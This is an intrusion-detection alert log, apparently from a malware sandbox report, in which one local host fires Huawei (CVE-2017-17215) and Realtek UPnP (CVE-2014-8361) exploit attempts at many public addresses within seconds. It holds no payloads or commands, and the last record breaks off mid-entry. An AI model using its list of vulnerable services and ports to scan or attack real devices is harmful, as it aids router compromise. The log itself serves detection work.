ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.27.193.119

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	51400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 24.166.198.46

Timestamp:	07/20/24-23:01:06.159043
SID:	2025132
Source Port:	49820
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.95.222.179

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	33612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.160.206.198

Timestamp:	07/20/24-23:01:12.358719
SID:	2829579
Source Port:	40118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.126.80.17

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	42844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.71.38.105

Timestamp:	07/20/24-23:01:20.436074
SID:	2027339
Source Port:	44146
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 31.136.126.119

Timestamp:	07/20/24-23:01:06.801747
SID:	2835222
Source Port:	32898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.61.74.227

Timestamp:	07/20/24-23:01:25.443184
SID:	2835222
Source Port:	35976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.107.118

Timestamp:	07/20/24-23:01:02.707801
SID:	2835222
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 68.30.100.71

Timestamp:	07/20/24-23:01:14.521197
SID:	2831300
Source Port:	49090
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.0.14.247

Timestamp:	07/20/24-23:01:14.539077
SID:	2027339
Source Port:	34072
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 139.189.20.44

Timestamp:	07/20/24-23:01:36.862442
SID:	2829579
Source Port:	37704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.221.137.47

Timestamp:	07/20/24-23:01:27.286229
SID:	2829579
Source Port:	49180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.196.5.149

Timestamp:	07/20/24-23:01:12.356738
SID:	2829579
Source Port:	54774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 98.25.171.48

Timestamp:	07/20/24-23:01:02.703502
SID:	2835222
Source Port:	42394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 220.123.4.18

Timestamp:	07/20/24-23:01:14.508164
SID:	2831300
Source Port:	34892
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.178.157.195

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	43008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.128.8

Timestamp:	07/20/24-23:01:08.449909
SID:	2829579
Source Port:	37432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 130.206.211.129

Timestamp:	07/20/24-23:01:14.513053
SID:	2831300
Source Port:	40922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.238.209

Timestamp:	07/20/24-23:01:22.736536
SID:	2829579
Source Port:	48678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.105.107.221

Timestamp:	07/20/24-23:01:12.492810
SID:	2835222
Source Port:	57638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.249.182.246

Timestamp:	07/20/24-23:01:22.747861
SID:	2829579
Source Port:	34918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 64.153.153.170

Timestamp:	07/20/24-23:01:25.389524
SID:	2829579
Source Port:	49852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.239.6.221

Timestamp:	07/20/24-23:01:06.809008
SID:	2829579
Source Port:	57620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.238.94

Timestamp:	07/20/24-23:01:22.739029
SID:	2835222
Source Port:	51600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.191.77.209

Timestamp:	07/20/24-23:01:04.892375
SID:	2829579
Source Port:	47646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.165.57.111

Timestamp:	07/20/24-23:01:27.277398
SID:	2835222
Source Port:	45178
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 130.158.185.94

Timestamp:	07/20/24-23:01:22.810316
SID:	2829579
Source Port:	47260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.63.178.240

Timestamp:	07/20/24-23:01:25.464927
SID:	2835222
Source Port:	57332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 177.53.116.167

Timestamp:	07/20/24-23:01:20.475909
SID:	2027339
Source Port:	49650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.173.250.250

Timestamp:	07/20/24-23:01:27.297470
SID:	2829579
Source Port:	46934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.152.158.12

Timestamp:	07/20/24-23:01:36.850220
SID:	2835222
Source Port:	47708
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.223.241.149

Timestamp:	07/20/24-23:01:12.360354
SID:	2835222
Source Port:	57958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 35.206.55.83

Timestamp:	07/20/24-23:01:14.541501
SID:	2831300
Source Port:	59096
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 126.183.166.233

Timestamp:	07/20/24-23:01:06.655486
SID:	2025132
Source Port:	58990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.23.159.9

Timestamp:	07/20/24-23:01:36.780614
SID:	2829579
Source Port:	43280
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.9.88

Timestamp:	07/20/24-23:01:36.850221
SID:	2829579
Source Port:	60342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.231.60.115

Timestamp:	07/20/24-23:01:22.748660
SID:	2829579
Source Port:	56826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.27.160.139

Timestamp:	07/20/24-23:01:36.793382
SID:	2835222
Source Port:	45050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 154.157.246.72

Timestamp:	07/20/24-23:01:14.506916
SID:	2831300
Source Port:	40280
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.36.185.169

Timestamp:	07/20/24-23:01:12.543114
SID:	2835222
Source Port:	39056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 126.40.131.27

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	60336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.151.249

Timestamp:	07/20/24-23:01:08.407500
SID:	2829579
Source Port:	46786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 135.241.25.166

Timestamp:	07/20/24-23:01:14.509825
SID:	2831300
Source Port:	50586
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 12.173.147.135

Timestamp:	07/20/24-23:01:15.661882
SID:	2835222
Source Port:	57180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 182.69.101.91

Timestamp:	07/20/24-23:01:27.360753
SID:	2831300
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.84.148.83

Timestamp:	07/20/24-23:01:22.791883
SID:	2829579
Source Port:	36804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 183.33.143.75

Timestamp:	07/20/24-23:01:14.513824
SID:	2027339
Source Port:	49474
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 173.70.195.138

Timestamp:	07/20/24-23:01:14.500846
SID:	2831300
Source Port:	43912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 71.95.23.241

Timestamp:	07/20/24-23:01:14.542240
SID:	2027339
Source Port:	35380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.181.19.73

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	43246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 126.183.166.233

Timestamp:	07/20/24-23:01:14.542853
SID:	2831300
Source Port:	60938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.2.40.4

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	39622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 32.189.105.228

Timestamp:	07/20/24-23:01:36.781255
SID:	2835222
Source Port:	38532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 209.200.229.61

Timestamp:	07/20/24-23:01:04.568491
SID:	2025132
Source Port:	57152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 13.145.132.17

Timestamp:	07/20/24-23:01:14.530241
SID:	2831300
Source Port:	32888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 72.110.150.184

Timestamp:	07/20/24-23:01:12.553660
SID:	2829579
Source Port:	33212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 47.131.156.7

Timestamp:	07/20/24-23:01:03.938194
SID:	2027339
Source Port:	53184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.12.16.61

Timestamp:	07/20/24-23:01:02.703502
SID:	2829579
Source Port:	42176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.44.27.109

Timestamp:	07/20/24-23:01:02.603717
SID:	2835222
Source Port:	57172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.178.1.192

Timestamp:	07/20/24-23:01:20.299062
SID:	2027339
Source Port:	38572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.156.209.55

Timestamp:	07/20/24-23:01:02.624280
SID:	2829579
Source Port:	40674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 171.117.89.236

Timestamp:	07/20/24-23:01:14.527257
SID:	2027339
Source Port:	43050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.160.197

Timestamp:	07/20/24-23:01:25.407917
SID:	2835222
Source Port:	42148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.178.196.156

Timestamp:	07/20/24-23:01:36.850101
SID:	2835222
Source Port:	32876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.223.21

Timestamp:	07/20/24-23:01:04.917925
SID:	2829579
Source Port:	49820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.171.102.62

Timestamp:	07/20/24-23:01:22.745836
SID:	2829579
Source Port:	51794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.60.201.159

Timestamp:	07/20/24-23:01:14.569004
SID:	2027339
Source Port:	40858
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 193.107.65.164

Timestamp:	07/20/24-23:01:04.447279
SID:	2027339
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 212.236.125.79

Timestamp:	07/20/24-23:01:14.525496
SID:	2831300
Source Port:	48664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.96.4.94

Timestamp:	07/20/24-23:01:04.848636
SID:	2829579
Source Port:	39774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.197.147.99

Timestamp:	07/20/24-23:01:36.780938
SID:	2829579
Source Port:	34824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.72.164.118

Timestamp:	07/20/24-23:01:25.391285
SID:	2835222
Source Port:	59450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 183.18.158.37

Timestamp:	07/20/24-23:00:59.021511
SID:	2829579
Source Port:	43748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 158.90.117.175

Timestamp:	07/20/24-23:01:07.257620
SID:	2027339
Source Port:	39972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.14.209.250

Timestamp:	07/20/24-23:01:36.781139
SID:	2829579
Source Port:	47284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.252.104.249

Timestamp:	07/20/24-23:01:02.612616
SID:	2829579
Source Port:	37480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.66.205.159

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	38878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.186.75.249

Timestamp:	07/20/24-23:01:05.597258
SID:	2027339
Source Port:	52738
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 154.157.246.72

Timestamp:	07/20/24-23:01:03.968570
SID:	2027339
Source Port:	38186
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.227.217.207

Timestamp:	07/20/24-23:01:08.392907
SID:	2835222
Source Port:	44836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.195.105

Timestamp:	07/20/24-23:00:59.022098
SID:	2829579
Source Port:	43002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 62.204.49.132

Timestamp:	07/20/24-23:01:04.426660
SID:	2025132
Source Port:	60064
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 110.148.63.222

Timestamp:	07/20/24-23:01:32.199190
SID:	2835222
Source Port:	34866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 82.166.201.81

Timestamp:	07/20/24-23:01:06.537245
SID:	2025132
Source Port:	48938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 166.150.19.163

Timestamp:	07/20/24-23:01:14.521197
SID:	2831300
Source Port:	49150
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 97.132.111.117

Timestamp:	07/20/24-23:01:05.576315
SID:	2025132
Source Port:	35158
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.121.138.230

Timestamp:	07/20/24-23:01:15.000440
SID:	2829579
Source Port:	45558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 138.96.171.141

Timestamp:	07/20/24-23:01:06.453953
SID:	2027339
Source Port:	57656
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.129.173.230

Timestamp:	07/20/24-23:01:32.248799
SID:	2829579
Source Port:	50110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 139.23.112.9

Timestamp:	07/20/24-23:01:05.435609
SID:	2025132
Source Port:	50598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 139.0.230.132

Timestamp:	07/20/24-23:01:05.526864
SID:	2027339
Source Port:	59510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 211.159.248.236

Timestamp:	07/20/24-23:01:14.509824
SID:	2831300
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.190.202.82

Timestamp:	07/20/24-23:01:07.364110
SID:	2027339
Source Port:	39898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 175.213.105.130

Timestamp:	07/20/24-23:01:17.790236
SID:	2835222
Source Port:	51378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 8.104.228.104

Timestamp:	07/20/24-23:01:04.752813
SID:	2025132
Source Port:	42938
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.158.33.62

Timestamp:	07/20/24-23:01:32.257456
SID:	2835222
Source Port:	49448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.167.217.21

Timestamp:	07/20/24-23:01:04.855996
SID:	2829579
Source Port:	38412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.166.104

Timestamp:	07/20/24-23:01:32.207539
SID:	2829579
Source Port:	58642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 85.119.116.161

Timestamp:	07/20/24-23:01:14.556193
SID:	2831300
Source Port:	37408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.94.222.191

Timestamp:	07/20/24-23:01:08.368788
SID:	2835222
Source Port:	36502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 188.71.38.105

Timestamp:	07/20/24-23:01:27.356781
SID:	2831300
